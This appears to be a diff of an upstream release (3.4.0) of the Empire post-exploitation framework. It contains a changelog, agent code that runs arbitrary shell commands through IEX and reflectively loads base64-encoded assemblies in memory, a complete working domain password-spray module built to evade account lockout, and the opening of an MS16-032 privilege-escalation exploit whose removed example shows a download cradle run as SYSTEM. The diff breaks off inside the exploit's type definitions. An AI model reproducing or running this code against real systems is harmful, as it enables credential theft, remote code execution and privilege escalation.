New upstream version 3.4.0
Sophie Brun
3 years ago
0 | 9/15/2020 | |
1 | ------------ | |
2 | - Version 3.4.0 Master Release | |
3 | - Added Malleable C2 HTTP Listener - #287 (@Johneiser, @Cx01N, @Hubbl3) | |
4 | - Added reflective load ability for files - #309 (@Hubbl3) | |
5 | - Added Invoke-DomainPasswordSpray - #295 (@Cx01N) | |
6 | - Added Invoke-WinPEAS - #293 (@Cx01N) | |
7 | - Added Invoke-Watson - #294 (@Cx01N) | |
8 | - Added plugins being loaded at startup - #301 (@Cx01N) | |
9 | - Updated moduleName to display full directory - #299 (@Cx01N) | |
10 | - Updated info in Invoke-SMBExec to indicate single target - #286 (@Cx01N) | |
11 | - Updated Slack API notifications to webhooks - #303 (@Cx01N) | |
12 | - Fixed spaces for IIS default page in HTTP listener - #302 (@adamczi) | |
13 | - Fixed agent spawning issue with MS-16-032 - #292 (@Cx01N) | |
14 | - Fixed min language version for modules (@Cx01N) | |
15 | - Fixed CLI stager incorrectly shutting down - #198 (@Cx01N) | |
16 | - Fixed error message from active agents during shutdown - #308 (@Cx01N) | |
17 | ||
18 | 9/8/2020 | |
19 | ------------ | |
20 | - Version 3.4.0-RC2 | |
21 | - Added plugins being loaded at startup - #301 (@Cx01N) | |
22 | - Fixed CLI stager incorrectly shutting down - #198 (@Cx01N) | |
23 | - Updated moduleName to display full directory - #299 (@Cx01N) | |
24 | - Updated info in Invoke-SMBExec to indicate single target - #286 (@Cx01N) | |
25 | ||
26 | 9/1/2020 | |
27 | ------------ | |
28 | - Version 3.4.0-RC1 | |
29 | - Added Malleable C2 HTTP Listener - #287 (@Johneiser, @Cx01N, @Hubbl3) | |
30 | - Added Invoke-DomainPasswordSpray - #295 (@Cx01N) | |
31 | - Added Invoke-WinPEAS - #293 (@Cx01N) | |
32 | - Added Invoke-Watson - #294 (@Cx01N) | |
33 | - Fixed agent spawning issue with MS-16-032 - #292 (@Cx01N) | |
34 | - Fixed min language version for modules (@Cx01N) | |
35 | ||
0 | 36 | 8/18/2020 |
1 | 37 | ------------ |
2 | 38 | - Version 3.3.4 Master Release |
273 | 273 | if ($cmd.ToLower() -eq 'shell') { |
274 | 274 | # if we have a straight 'shell' command, skip the aliases |
275 | 275 | if ($cmdargs.length -eq '') { $output = 'no shell command supplied' } |
276 | else { $output = IEX "$cmdargs" } | |
276 | else { | |
277 | $OldConsoleOut = [Console]::Out | |
278 | $StringWriter = New-Object IO.StringWriter | |
279 | [Console]::SetOut($StringWriter) | |
280 | $output = iex "$cmdargs" | out-string | |
281 | #for somereason this was quoted again and it shouldn't need to be | |
282 | #$output = iex $cmdargs | |
283 | [Console]::SetOut($OldConsoleOut) | |
284 | ||
285 | if ($output.length -eq 0){ | |
286 | $output = $StringWriter.ToString() | |
287 | } | |
288 | } | |
277 | 289 | $output += "`n`r..Command execution completed." |
290 | } | |
291 | elseif ($cmd.ToLower() -eq 'reflectiveload'){ | |
292 | if ($cmdargs.length -eq '') { $output = 'no binary supplied' } | |
293 | else{ | |
294 | $assembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($cmdargs)) | |
295 | $output = "`n`r Reflective Load Complete" | |
296 | } | |
278 | 297 | } |
279 | 298 | else { |
280 | 299 | switch -regex ($cmd) { |
0 | function Invoke-DomainPasswordSpray{ | |
1 | <# | |
2 | .SYNOPSIS | |
3 | ||
4 | This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts. | |
5 | ||
6 | DomainPasswordSpray Function: Invoke-DomainPasswordSpray | |
7 | Author: Beau Bullock (@dafthack) and Brian Fehrman (@fullmetalcache) | |
8 | License: BSD 3-Clause | |
9 | Required Dependencies: None | |
10 | Optional Dependencies: None | |
11 | ||
12 | .DESCRIPTION | |
13 | ||
14 | This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts. | |
15 | ||
16 | .PARAMETER UserList | |
17 | ||
18 | Optional UserList parameter. This will be generated automatically if not specified. | |
19 | ||
20 | .PARAMETER Password | |
21 | ||
22 | A single password that will be used to perform the password spray. | |
23 | ||
24 | .PARAMETER PasswordList | |
25 | ||
26 | A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts). | |
27 | ||
28 | .PARAMETER OutFile | |
29 | ||
30 | A file to output the results to. | |
31 | ||
32 | .PARAMETER Domain | |
33 | ||
34 | The domain to spray against. | |
35 | ||
36 | .PARAMETER Filter | |
37 | ||
38 | Custom LDAP filter for users, e.g. "(description=*admin*)" | |
39 | ||
40 | .PARAMETER Force | |
41 | ||
42 | Forces the spray to continue and doesn't prompt for confirmation. | |
43 | ||
44 | .PARAMETER UsernameAsPassword | |
45 | ||
46 | For each user, will try that user's name as their password | |
47 | ||
48 | .EXAMPLE | |
49 | ||
50 | C:\PS> Invoke-DomainPasswordSpray -Password Winter2016 | |
51 | ||
52 | Description | |
53 | ----------- | |
54 | This command will automatically generate a list of users from the current user's domain and attempt to authenticate using each username and a password of Winter2016. | |
55 | ||
56 | .EXAMPLE | |
57 | ||
58 | C:\PS> Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt | |
59 | ||
60 | Description | |
61 | ----------- | |
62 | This command will use the userlist at users.txt and try to authenticate to the domain "domain-name" using each password in the passlist.txt file one at a time. It will automatically attempt to detect the domain's lockout observation window and restrict sprays to 1 attempt during each window. | |
63 | ||
64 | .EXAMPLE | |
65 | ||
66 | C:\PS> Invoke-DomainPasswordSpray -UsernameAsPassword -OutFile valid-creds.txt | |
67 | ||
68 | Description | |
69 | ----------- | |
70 | This command will automatically generate a list of users from the current user's domain and attempt to authenticate as each user by using their username as their password. Any valid credentials will be saved to valid-creds.txt | |
71 | ||
72 | #> | |
73 | param( | |
74 | [Parameter(Position = 0, Mandatory = $false)] | |
75 | [string] | |
76 | $UserList = "", | |
77 | ||
78 | [Parameter(Position = 1, Mandatory = $false)] | |
79 | [string] | |
80 | $Password, | |
81 | ||
82 | [Parameter(Position = 2, Mandatory = $false)] | |
83 | [string] | |
84 | $PasswordList, | |
85 | ||
86 | [Parameter(Position = 3, Mandatory = $false)] | |
87 | [string] | |
88 | $OutFile, | |
89 | ||
90 | [Parameter(Position = 4, Mandatory = $false)] | |
91 | [string] | |
92 | $Filter = "", | |
93 | ||
94 | [Parameter(Position = 5, Mandatory = $false)] | |
95 | [string] | |
96 | $Domain = "", | |
97 | ||
98 | [Parameter(Position = 6, Mandatory = $false)] | |
99 | [switch] | |
100 | $Force, | |
101 | ||
102 | [Parameter(Position = 7, Mandatory = $false)] | |
103 | [switch] | |
104 | $UsernameAsPassword, | |
105 | ||
106 | [Parameter(Position = 8, Mandatory = $false)] | |
107 | [int] | |
108 | $Delay=0, | |
109 | ||
110 | [Parameter(Position = 9, Mandatory = $false)] | |
111 | $Jitter=0 | |
112 | ||
113 | ) | |
114 | ||
115 | if ($Password) | |
116 | { | |
117 | $Passwords = @($Password) | |
118 | } | |
119 | elseif($UsernameAsPassword) | |
120 | { | |
121 | $Passwords = "" | |
122 | } | |
123 | elseif($PasswordList) | |
124 | { | |
125 | $Passwords = Get-Content $PasswordList | |
126 | } | |
127 | else | |
128 | { | |
129 | "[!] The -Password or -PasswordList option must be specified" | |
130 | break | |
131 | } | |
132 | ||
133 | try | |
134 | { | |
135 | if ($Domain -ne "") | |
136 | { | |
137 | # Using domain specified with -Domain option | |
138 | $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain) | |
139 | $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) | |
140 | $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName | |
141 | } | |
142 | else | |
143 | { | |
144 | # Trying to use the current user's domain | |
145 | $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | |
146 | $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName | |
147 | } | |
148 | } | |
149 | catch | |
150 | { | |
151 | throw "[!] Could not connect to the domain. Try specifying the domain name with the -Domain option. 1" | |
152 | } | |
153 | ||
154 | if ($UserList -eq "") | |
155 | { | |
156 | $UserListArray = Get-DomainUserList -Domain $Domain -RemoveDisabled -RemovePotentialLockouts -Filter $Filter | |
157 | } | |
158 | else | |
159 | { | |
160 | # if a Userlist is specified use it and do not check for lockout thresholds | |
161 | "[*] Using $UserList as userlist to spray with" | |
162 | "[!] Warning: Users will not be checked for lockout threshold." | |
163 | $UserListArray = @() | |
164 | try | |
165 | { | |
166 | $UserListArray = Get-Content $UserList -ErrorAction stop | |
167 | } | |
168 | catch [Exception] | |
169 | { | |
170 | "[!] $_.Exception" | |
171 | break | |
172 | } | |
173 | ||
174 | } | |
175 | ||
176 | ||
177 | if ($Passwords.count > 1) | |
178 | { | |
179 | "[!] WARNING - Be very careful not to lock out accounts with the password list option!" | |
180 | } | |
181 | ||
182 | $observation_window = Get-ObservationWindow | |
183 | ||
184 | "[*] The domain password policy observation window is set to $observation_window minutes." | |
185 | "[*] Setting a $observation_window minute wait in between sprays." | |
186 | ||
187 | # if no force flag is set we will ask if the user is sure they want to spray | |
188 | if (!$Force) | |
189 | { | |
190 | $title = "Confirm Password Spray" | |
191 | $message = "Are you sure you want to perform a password spray against " + $UserListArray.count + " accounts?" | |
192 | ||
193 | $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", ` | |
194 | "Attempts to authenticate 1 time per user in the list for each password in the passwordlist file." | |
195 | ||
196 | $no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", ` | |
197 | "Cancels the password spray." | |
198 | ||
199 | $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no) | |
200 | ||
201 | $result = $host.ui.PromptForChoice($title, $message, $options, 0) | |
202 | ||
203 | if ($result -ne 0) | |
204 | { | |
205 | "[*] Cancelling the password spray." | |
206 | break | |
207 | } | |
208 | } | |
209 | $pass_count = $Passwords.count | |
210 | "[*] Password spraying has begun with $pass_count passwords" | |
211 | "[*] This might take a while depending on the total number of users" | |
212 | ||
213 | if($UsernameAsPassword) | |
214 | { | |
215 | Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -OutFile $OutFile -Delay $Delay -Jitter $Jitter -UsernameAsPassword | |
216 | } | |
217 | else | |
218 | { | |
219 | for($i = 0; $i -lt $Passwords.count; $i++) | |
220 | { | |
221 | Invoke-SpraySinglePassword -Domain $CurrentDomain -UserListArray $UserListArray -Password $Passwords[$i] -OutFile $OutFile -Delay $Delay -Jitter $Jitter | |
222 | if (($i+1) -lt $Passwords.count) | |
223 | { | |
224 | Countdown-Timer -Seconds (60*$observation_window) | |
225 | } | |
226 | } | |
227 | } | |
228 | ||
229 | "[*] Password spraying is complete" | |
230 | if ($OutFile -ne "") | |
231 | { | |
232 | "[+] Any passwords that were successfully sprayed have been output to $OutFile" | |
233 | } | |
234 | } | |
235 | ||
236 | function Countdown-Timer | |
237 | { | |
238 | param( | |
239 | $Seconds = 1800, | |
240 | $Message = "[*] Pausing to avoid account lockout." | |
241 | ) | |
242 | foreach ($Count in (1..$Seconds)) | |
243 | { | |
244 | Write-Progress -Id 1 -Activity $Message -Status "Waiting for $($Seconds/60) minutes. $($Seconds - $Count) seconds remaining" -PercentComplete (($Count / $Seconds) * 100) | |
245 | Start-Sleep -Seconds 1 | |
246 | } | |
247 | Write-Progress -Id 1 -Activity $Message -Status "Completed" -PercentComplete 100 -Completed | |
248 | } | |
249 | ||
250 | function Get-DomainUserList | |
251 | { | |
252 | <# | |
253 | .SYNOPSIS | |
254 | ||
255 | This module gathers a userlist from the domain. | |
256 | ||
257 | DomainPasswordSpray Function: Get-DomainUserList | |
258 | Author: Beau Bullock (@dafthack) | |
259 | License: BSD 3-Clause | |
260 | Required Dependencies: None | |
261 | Optional Dependencies: None | |
262 | ||
263 | .DESCRIPTION | |
264 | ||
265 | This module gathers a userlist from the domain. | |
266 | ||
267 | .PARAMETER Domain | |
268 | ||
269 | The domain to spray against. | |
270 | ||
271 | .PARAMETER RemoveDisabled | |
272 | ||
273 | Attempts to remove disabled accounts from the userlist. (Credit to Sally Vandeven (@sallyvdv)) | |
274 | ||
275 | .PARAMETER RemovePotentialLockouts | |
276 | ||
277 | Removes accounts within 1 attempt of locking out. | |
278 | ||
279 | .PARAMETER Filter | |
280 | ||
281 | Custom LDAP filter for users, e.g. "(description=*admin*)" | |
282 | ||
283 | .EXAMPLE | |
284 | ||
285 | PS C:\> Get-DomainUserList | |
286 | ||
287 | Description | |
288 | ----------- | |
289 | This command will gather a userlist from the domain including all samAccountType "805306368". | |
290 | ||
291 | .EXAMPLE | |
292 | ||
293 | C:\PS> Get-DomainUserList -Domain domainname -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt | |
294 | ||
295 | Description | |
296 | ----------- | |
297 | This command will gather a userlist from the domain "domainname" including any accounts that are not disabled and are not close to locking out. It will write them to a file at "userlist.txt" | |
298 | ||
299 | #> | |
300 | param( | |
301 | [Parameter(Position = 0, Mandatory = $false)] | |
302 | [string] | |
303 | $Domain = "", | |
304 | ||
305 | [Parameter(Position = 1, Mandatory = $false)] | |
306 | [switch] | |
307 | $RemoveDisabled, | |
308 | ||
309 | [Parameter(Position = 2, Mandatory = $false)] | |
310 | [switch] | |
311 | $RemovePotentialLockouts, | |
312 | ||
313 | [Parameter(Position = 3, Mandatory = $false)] | |
314 | [string] | |
315 | $Filter | |
316 | ) | |
317 | ||
318 | try | |
319 | { | |
320 | if ($Domain -ne "") | |
321 | { | |
322 | # Using domain specified with -Domain option | |
323 | $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain) | |
324 | $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) | |
325 | $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName | |
326 | } | |
327 | else | |
328 | { | |
329 | # Trying to use the current user's domain | |
330 | $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | |
331 | $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName | |
332 | } | |
333 | } | |
334 | catch | |
335 | { | |
336 | throw "[!] Could not connect to the domain. Try specifying the domain name with the -Domain option. 2" | |
337 | } | |
338 | ||
339 | # Setting the current domain's account lockout threshold | |
340 | $objDeDomain = [ADSI] "LDAP://$($DomainObject.PDCRoleOwner)" | |
341 | $AccountLockoutThresholds = @() | |
342 | $AccountLockoutThresholds += $objDeDomain.Properties.lockoutthreshold | |
343 | ||
344 | # Getting the AD behavior version to determine if fine-grained password policies are possible | |
345 | $behaviorversion = [int] $objDeDomain.Properties['msds-behavior-version'].item(0) | |
346 | if ($behaviorversion -ge 3) | |
347 | { | |
348 | # Determine if there are any fine-grained password policies | |
349 | "[*] Current domain is compatible with Fine-Grained Password Policy." | |
350 | $ADSearcher = New-Object System.DirectoryServices.DirectorySearcher | |
351 | $ADSearcher.SearchRoot = $objDeDomain | |
352 | $ADSearcher.Filter = "(objectclass=msDS-PasswordSettings)" | |
353 | $PSOs = $ADSearcher.FindAll() | |
354 | ||
355 | if ( $PSOs.count -gt 0) | |
356 | { | |
357 | "[*] A total of " + $PSOs.count + " Fine-Grained Password policies were found.`r`n" | |
358 | foreach($entry in $PSOs) | |
359 | { | |
360 | # Selecting the lockout threshold, min pwd length, and which | |
361 | # groups the fine-grained password policy applies to | |
362 | $PSOFineGrainedPolicy = $entry | Select-Object -ExpandProperty Properties | |
363 | $PSOPolicyName = $PSOFineGrainedPolicy.name | |
364 | $PSOLockoutThreshold = $PSOFineGrainedPolicy.'msds-lockoutthreshold' | |
365 | $PSOAppliesTo = $PSOFineGrainedPolicy.'msds-psoappliesto' | |
366 | $PSOMinPwdLength = $PSOFineGrainedPolicy.'msds-minimumpasswordlength' | |
367 | # adding lockout threshold to array for use later to determine which is the lowest. | |
368 | $AccountLockoutThresholds += $PSOLockoutThreshold | |
369 | ||
370 | "[*] Fine-Grained Password Policy titled: $PSOPolicyName has a Lockout Threshold of $PSOLockoutThreshold attempts, minimum password length of $PSOMinPwdLength chars, and applies to $PSOAppliesTo.`r`n" | |
371 | } | |
372 | } | |
373 | } | |
374 | ||
375 | $observation_window = Get-ObservationWindow | |
376 | ||
377 | # Generate a userlist from the domain | |
378 | # Selecting the lowest account lockout threshold in the domain to avoid | |
379 | # locking out any accounts. | |
380 | [int]$SmallestLockoutThreshold = $AccountLockoutThresholds | sort | Select -First 1 | |
381 | "[*] Now creating a list of users to spray..." | |
382 | ||
383 | if ($SmallestLockoutThreshold -eq "0") | |
384 | { | |
385 | "[*] There appears to be no lockout policy." | |
386 | } | |
387 | else | |
388 | { | |
389 | "[*] The smallest lockout threshold discovered in the domain is $SmallestLockoutThreshold login attempts." | |
390 | } | |
391 | ||
392 | $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$CurrentDomain) | |
393 | $DirEntry = New-Object System.DirectoryServices.DirectoryEntry | |
394 | $UserSearcher.SearchRoot = $DirEntry | |
395 | ||
396 | $UserSearcher.PropertiesToLoad.Add("samaccountname") > $Null | |
397 | $UserSearcher.PropertiesToLoad.Add("badpwdcount") > $Null | |
398 | $UserSearcher.PropertiesToLoad.Add("badpasswordtime") > $Null | |
399 | ||
400 | if ($RemoveDisabled) | |
401 | { | |
402 | "[*] Removing disabled users from list." | |
403 | # More precise LDAP filter UAC check for users that are disabled (Joff Thyer) | |
404 | # LDAP 1.2.840.113556.1.4.803 means bitwise & | |
405 | # uac 0x2 is ACCOUNTDISABLE | |
406 | # uac 0x10 is LOCKOUT | |
407 | # See http://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/ | |
408 | $UserSearcher.filter = | |
409 | "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=16)(!userAccountControl:1.2.840.113556.1.4.803:=2)$Filter)" | |
410 | } | |
411 | else | |
412 | { | |
413 | $UserSearcher.filter = "(&(objectCategory=person)(objectClass=user)$Filter)" | |
414 | } | |
415 | ||
416 | $UserSearcher.PropertiesToLoad.add("samaccountname") > $Null | |
417 | $UserSearcher.PropertiesToLoad.add("lockouttime") > $Null | |
418 | $UserSearcher.PropertiesToLoad.add("badpwdcount") > $Null | |
419 | $UserSearcher.PropertiesToLoad.add("badpasswordtime") > $Nulll | |
420 | ||
421 | #$UserSearcher.filter | |
422 | ||
423 | # grab batches of 1000 in results | |
424 | $UserSearcher.PageSize = 1000 | |
425 | $AllUserObjects = $UserSearcher.FindAll() | |
426 | "[+] There are " + $AllUserObjects.count + " total users found." | |
427 | $UserListArray = @() | |
428 | ||
429 | if ($RemovePotentialLockouts) | |
430 | { | |
431 | "[*] Removing users within 1 attempt of locking out from list." | |
432 | foreach ($user in $AllUserObjects) | |
433 | { | |
434 | # Getting bad password counts and lst bad password time for each user | |
435 | $badcount = $user.Properties.badpwdcount | |
436 | $samaccountname = $user.Properties.samaccountname | |
437 | try | |
438 | { | |
439 | $badpasswordtime = $user.Properties.badpasswordtime[0] | |
440 | } | |
441 | catch | |
442 | { | |
443 | continue | |
444 | } | |
445 | $currenttime = Get-Date | |
446 | $lastbadpwd = [DateTime]::FromFileTime($badpasswordtime) | |
447 | $timedifference = ($currenttime - $lastbadpwd).TotalMinutes | |
448 | ||
449 | if ($badcount) | |
450 | { | |
451 | [int]$userbadcount = [convert]::ToInt32($badcount, 10) | |
452 | $attemptsuntillockout = $SmallestLockoutThreshold - $userbadcount | |
453 | # if there is more than 1 attempt left before a user locks out | |
454 | # or if the time since the last failed login is greater than the domain | |
455 | # observation window add user to spray list | |
456 | if (($timedifference -gt $observation_window) -or ($attemptsuntillockout -gt 1)) | |
457 | { | |
458 | $UserListArray += $samaccountname | |
459 | } | |
460 | } | |
461 | } | |
462 | } | |
463 | else | |
464 | { | |
465 | foreach ($user in $AllUserObjects) | |
466 | { | |
467 | $samaccountname = $user.Properties.samaccountname | |
468 | $UserListArray += $samaccountname | |
469 | } | |
470 | } | |
471 | ||
472 | "[*] Created a userlist containing " + $UserListArray.count + " users gathered from the current user's domain" | |
473 | return $UserListArray | |
474 | } | |
475 | ||
476 | function Invoke-SpraySinglePassword | |
477 | { | |
478 | param( | |
479 | [Parameter(Position=1)] | |
480 | $Domain, | |
481 | [Parameter(Position=2)] | |
482 | [string[]] | |
483 | $UserListArray, | |
484 | [Parameter(Position=3)] | |
485 | [string] | |
486 | $Password, | |
487 | [Parameter(Position=4)] | |
488 | [string] | |
489 | $OutFile, | |
490 | [Parameter(Position=5)] | |
491 | [int] | |
492 | $Delay=0, | |
493 | [Parameter(Position=6)] | |
494 | [double] | |
495 | $Jitter=0, | |
496 | [Parameter(Position=7)] | |
497 | [switch] | |
498 | $UsernameAsPassword | |
499 | ) | |
500 | $time = Get-Date | |
501 | $count = $UserListArray.count | |
502 | "[*] Now trying password $Password against $count users. Current time is $($time.ToShortTimeString())" | |
503 | $curr_user = 0 | |
504 | "[*] Writing successes to $OutFile" | |
505 | $RandNo = New-Object System.Random | |
506 | ||
507 | foreach ($User in $UserListArray) | |
508 | { | |
509 | if ($UsernameAsPassword) | |
510 | { | |
511 | $Password = $User | |
512 | } | |
513 | $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain,$User,$Password) | |
514 | if ($Domain_check.name -ne $null) | |
515 | { | |
516 | if ($OutFile -ne "") | |
517 | { | |
518 | Add-Content $OutFile $User`:$Password | |
519 | } | |
520 | "[+] SUCCESS! User:$User Password:$Password" | |
521 | } | |
522 | $curr_user += 1 | |
523 | "[*] $curr_user of $count users tested`r" | |
524 | if ($Delay) | |
525 | { | |
526 | Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) | |
527 | } | |
528 | } | |
529 | ||
530 | } | |
531 | ||
532 | function Get-ObservationWindow() | |
533 | { | |
534 | # Get account lockout observation window to avoid running more than 1 | |
535 | # password spray per observation window. | |
536 | $command = "cmd.exe /C net accounts /domain" | |
537 | $net_accounts_results = Invoke-Expression -Command:$command | |
538 | $stripped_policy = ($net_accounts_results | Where-Object {$_ -like "*Lockout Observation Window*"}) | |
539 | $stripped_split_a, $stripped_split_b = $stripped_policy.split(':',2) | |
540 | $observation_window_no_spaces = $stripped_split_b -Replace '\s+',"" | |
541 | [int]$observation_window = [convert]::ToInt32($observation_window_no_spaces, 10) | |
542 | return $observation_window | |
543 | } |
0 | function Invoke-MS16032 { | |
0 | function Invoke-MS16-032 { | |
1 | 1 | <# |
2 | .SYNOPSIS | |
3 | ||
4 | PowerShell implementation of MS16-032. The exploit targets all vulnerable | |
5 | operating systems that support PowerShell v2+. Credit for the discovery of | |
6 | the bug and the logic to exploit it go to James Forshaw (@tiraniddo). | |
7 | ||
8 | Targets: | |
9 | ||
10 | * Win7-Win10 & 2k8-2k12 <== 32/64 bit! | |
11 | * Tested on x32 Win7, x64 Win8, x64 2k12R2 | |
12 | ||
13 | Notes: | |
14 | ||
15 | * In order for the race condition to succeed the machine must have 2+ CPU | |
16 | cores. If testing in a VM just make sure to add a core if needed mkay. | |
17 | * The exploit is pretty reliable, however ~1/6 times it will say it succeeded | |
18 | but not spawn a shell. Not sure what the issue is but just re-run and profit! | |
19 | * Want to know more about MS16-032 ==> | |
20 | https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html | |
21 | ||
22 | .DESCRIPTION | |
23 | ||
24 | Author: Ruben Boonen (@FuzzySec) | |
25 | Blog: http://www.fuzzysecurity.com/ | |
26 | License: BSD 3-Clause | |
27 | Required Dependencies: PowerShell v2+ | |
28 | Optional Dependencies: None | |
29 | E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736 | |
30 | ||
31 | EDIT: This script has been edited to include a parameter for custom commands and | |
32 | also hides the spawned shell. Many comments have also been removed and echo has | |
33 | moved to Write-Verbose. The original can be found at: | |
34 | https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1 | |
35 | ||
36 | .EXAMPLE | |
37 | ||
38 | C:\PS> Invoke-MS16-032 -Command "iex(New-Object Net.WebClient).DownloadString('http://google.com')" | |
39 | ||
40 | Description | |
41 | ----------- | |
42 | Will run the iex download cradle as SYSTEM | |
43 | ||
2 | .SYNOPSIS | |
3 | ||
4 | PowerShell implementation of MS16-032. The exploit targets all vulnerable | |
5 | operating systems that support PowerShell v2+. Credit for the discovery of | |
6 | the bug and the logic to exploit it go to James Forshaw (@tiraniddo) and @Fuzzysec for the original PS script. | |
7 | Modifications by Mike Benich (@benichmt1). | |
8 | ||
9 | Targets: | |
10 | ||
11 | * Win7-Win10 & 2k8-2k12 <== 32/64 bit! | |
12 | * Tested on x32 Win7, x64 Win8, x64 2k12R2 | |
13 | ||
14 | Notes: | |
15 | ||
16 | * In order for the race condition to succeed the machine must have 2+ CPU | |
17 | cores. If testing in a VM just make sure to add a core if needed mkay. | |
18 | * The exploit is pretty reliable, however ~1/6 times it will say it succeeded | |
19 | but not spawn a shell. Not sure what the issue is but just re-run and profit! | |
20 | * Want to know more about MS16-032 ==> | |
21 | https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html | |
22 | .DESCRIPTION | |
23 | Author: Ruben Boonen (@FuzzySec) | |
24 | Blog: http://www.fuzzysecurity.com/ | |
25 | License: BSD 3-Clause | |
26 | Required Dependencies: PowerShell v2+ | |
27 | Optional Dependencies: None | |
28 | Empire Updates - Mike Benich / @benichmt1 | |
29 | ||
30 | .EXAMPLE | |
31 | C:\PS> Invoke-MS16-032 | |
44 | 32 | #> |
45 | [CmdletBinding()] | |
46 | param( | |
47 | ||
48 | [Parameter(Position=0,Mandatory=$True)] | |
49 | [String] | |
50 | $Command | |
51 | ) | |
52 | ||
53 | Add-Type -TypeDefinition @" | |
54 | using System; | |
55 | using System.Diagnostics; | |
56 | using System.Runtime.InteropServices; | |
57 | using System.Security.Principal; | |
58 | ||
59 | [StructLayout(LayoutKind.Sequential)] | |
60 | public struct PROCESS_INFORMATION | |
61 | { | |
62 | public IntPtr hProcess; | |
63 | public IntPtr hThread; | |
64 | public int dwProcessId; | |
65 | public int dwThreadId; | |
66 | } | |
67 | ||
68 | [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] | |
69 | public struct STARTUPINFO | |
70 | { | |
71 | public Int32 cb; | |
72 | public string lpReserved; | |
73 | public string lpDesktop; | |
74 | public string lpTitle; | |
75 | public Int32 dwX; | |
76 | public Int32 dwY; | |
77 | public Int32 dwXSize; | |
78 | public Int32 dwYSize; | |
79 | public Int32 dwXCountChars; | |
80 | public Int32 dwYCountChars; | |
81 | public Int32 dwFillAttribute; | |
82 | public Int32 dwFlags; | |
83 | public Int16 wShowWindow; | |
84 | public Int16 cbReserved2; | |
85 | public IntPtr lpReserved2; | |
86 | public IntPtr hStdInput; | |
87 | public IntPtr hStdOutput; | |
88 | public IntPtr hStdError; | |
89 | } | |
90 | ||
91 | [StructLayout(LayoutKind.Sequential)] | |
92 | public struct SQOS | |
93 | { | |
94 | public int Length; | |
95 | public int ImpersonationLevel; | |
96 | public int ContextTrackingMode; | |
97 | public bool EffectiveOnly; | |
98 | } | |
99 | ||
100 | public static class Advapi32 | |
101 | { | |
102 | [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] | |
103 | public static extern bool CreateProcessWithLogonW( | |
104 | String userName, | |
105 | String domain, | |
106 | String password, | |
107 | int logonFlags, | |
108 | String applicationName, | |
109 | String commandLine, | |
110 | int creationFlags, | |
111 | int environment, | |
112 | String currentDirectory, | |
113 | ref STARTUPINFO startupInfo, | |
114 | out PROCESS_INFORMATION processInformation); | |
115 | ||
116 | [DllImport("advapi32.dll", SetLastError=true)] | |
117 | public static extern bool SetThreadToken( | |
118 | ref IntPtr Thread, | |
119 | IntPtr Token); | |
120 | ||
121 | [DllImport("advapi32.dll", SetLastError=true)] | |
122 | public static extern bool OpenThreadToken( | |
123 | IntPtr ThreadHandle, | |
124 | int DesiredAccess, | |
125 | bool OpenAsSelf, | |
126 | out IntPtr TokenHandle); | |
127 | ||
128 | [DllImport("advapi32.dll", SetLastError=true)] | |
129 | public static extern bool OpenProcessToken( | |
130 | IntPtr ProcessHandle, | |
131 | int DesiredAccess, | |
132 | ref IntPtr TokenHandle); | |
133 | ||
134 | [DllImport("advapi32.dll", SetLastError=true)] | |
135 | public extern static bool DuplicateToken( | |
136 | IntPtr ExistingTokenHandle, | |
137 | int SECURITY_IMPERSONATION_LEVEL, | |
138 | ref IntPtr DuplicateTokenHandle); | |
139 | } | |
140 | ||
141 | public static class Kernel32 | |
142 | { | |
143 | [DllImport("kernel32.dll")] | |
144 | public static extern uint GetLastError(); | |
145 | ||
146 | [DllImport("kernel32.dll", SetLastError=true)] | |
147 | public static extern IntPtr GetCurrentProcess(); | |
148 | ||
149 | [DllImport("kernel32.dll", SetLastError=true)] | |
150 | public static extern IntPtr GetCurrentThread(); | |
151 | ||
152 | [DllImport("kernel32.dll", SetLastError=true)] | |
153 | public static extern int GetThreadId(IntPtr hThread); | |
154 | ||
155 | [DllImport("kernel32.dll", SetLastError = true)] | |
156 | public static extern int GetProcessIdOfThread(IntPtr handle); | |
157 | ||
158 | [DllImport("kernel32.dll",SetLastError=true)] | |
159 | public static extern int SuspendThread(IntPtr hThread); | |
160 | ||
161 | [DllImport("kernel32.dll",SetLastError=true)] | |
162 | public static extern int ResumeThread(IntPtr hThread); | |
163 | ||
164 | [DllImport("kernel32.dll", SetLastError=true)] | |
165 | public static extern bool TerminateProcess( | |
166 | IntPtr hProcess, | |
167 | uint uExitCode); | |
168 | ||
